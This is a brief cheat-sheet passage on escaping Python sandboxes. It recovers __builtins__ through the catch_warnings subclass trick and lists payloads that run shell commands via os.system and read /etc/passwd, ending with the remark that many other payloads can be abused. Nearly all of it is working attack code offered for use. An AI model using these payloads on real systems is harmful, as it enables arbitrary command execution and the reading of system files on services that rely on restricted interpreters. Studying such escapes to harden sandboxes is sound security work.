Built-in Functions
https://docs.python.org/3/library/functions.html
Builtins Overriding
Method 1
# Setting up builtins for execution
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
# Things you can do:
__builtins__["__import__"]('os').system('ls')
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands